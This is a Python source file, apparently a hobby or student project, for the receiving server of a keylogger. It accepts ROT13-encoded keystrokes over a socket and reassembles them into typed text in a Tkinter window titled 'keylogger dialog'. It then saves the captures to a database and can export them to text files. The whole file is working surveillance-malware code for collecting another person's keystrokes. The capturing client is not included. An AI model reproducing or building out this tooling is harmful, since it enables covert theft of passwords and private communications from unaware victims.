Server.py

```
import socket
import threading
from tkinter import *
import datetime
import codecs
from tkinter.simpledialog import askstring
import Database


class Server:
    def __init__(self, ip, port):
        ADDRESS = (ip, port)
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind(ADDRESS)
        server.listen()
        self.conn, addr = server.accept()
        self.db = Database.Database("Keyloggs")

    def save_text(self, text):  # save the chosen data from DB in text file
        name = askstring('File Name', 'Enter the file name or write to an existing file')
        if name != None:
            text_file = open(f"{name}.txt", "w")
            text_file.write(codecs.decode(text, 'rot_13'))
            text_file.close()

    def disconnect(self):  # end the connection and close the program
        self.conn.send("end".encode())
        self.conn.close()
        self.window.destroy()

    def receive_message(self):  # handels the recieved data
        s = []
        while True:
            key = codecs.decode(self.conn.recv(1024).decode(), 'rot_13')  # decode the encrypted data
            if key == "Key.space":
                s.append(" ")
            elif key == "Key.enter":
                s.append(f" {key}")
                self.text.insert(END,
                                 "\n" + f"{datetime.datetime.now()}: {''.join(s)}")  # upload the data to the screen
                s.clear()
            elif len(s) != 0 and key == "Key.backspace":
                s.pop()
            elif "Key." in key and key != "Key.backspace":
                s.append(f" {key} ")
            elif key != "Key.backspace":
                s.append(key)

    def get_saves(self):  # shows all data saves
        app = Tk()
        app.title("Saves")
        app.geometry("500x500")
        label = Label(app, text="Choose which save do you want to get", font="Ariel 12 bold").place(x=100)
        time = Label(app, text="saving time", font="Ariel 10").place(x=50, y=50)
        times = self.db.ShowTime()
        y = 80
        st = {}
        d = {}
        for t in times:
            time = Label(app, text=t[0], font="Ariel 10").place(x=20, y=y)
            b = Button(app, text="get save in text file", command=lambda t0=t[0]: self.save_text(self.db.ShowData(t0)))
            b.place(x=200, y=y, height=20, width=150)
            st[b] = t[0]
            b1 = Button(app, text="delete save", command=lambda t0=t[0]: self.db.Delete(t0))
            b1.place(x=355, y=y, height=20, width=100)
            d[b1] = t[0]
            y += 20
        app.mainloop()

    def start(self):  # start th GUI
        self.window = Tk()
        self.window.title("keylogger dialog")
        self.window.geometry("500x500")
        # add a Vertical Scrollbar
        v = Scrollbar(self.window)
        v.pack(side=RIGHT, fill="y")
        # add a Horizontal Scrollbar
        h = Scrollbar(self.window, orient=HORIZONTAL)
        h.pack(side=BOTTOM, fill="x")
        self.text = Text(self.window, yscrollcommand=v.set, wrap=NONE, xscrollcommand=h.set)
```

```
        self.text.pack()
        # config the scrollbars to the text widget
        h.config(command=self.text.xview)
        v.config(command=self.text.yview)
        save = Button(self.window, text="save data",
                      command=lambda: self.db.Add(codecs.encode(self.text.get(1.0, END), 'rot_13'),
                                                  datetime.datetime.now()))
        save.place(x=340, y=420, height=50, width=100)
        data = Button(self.window, text="manage saves", command=self.get_saves)
        data.place(x=200, y=420, height=50, width=100)
        dis = Button(self.window, text="close and disconnect", command=self.disconnect)
        dis.place(x=20, y=420, height=50, width=150)
        th1 = threading.Thread(target=self.receive_message)
        th1.start()
        self.window.mainloop()


if __name__ == "__main__":
    port = 8080
    ip = "localhost"
    server = Server(ip, port)
    server.start()
```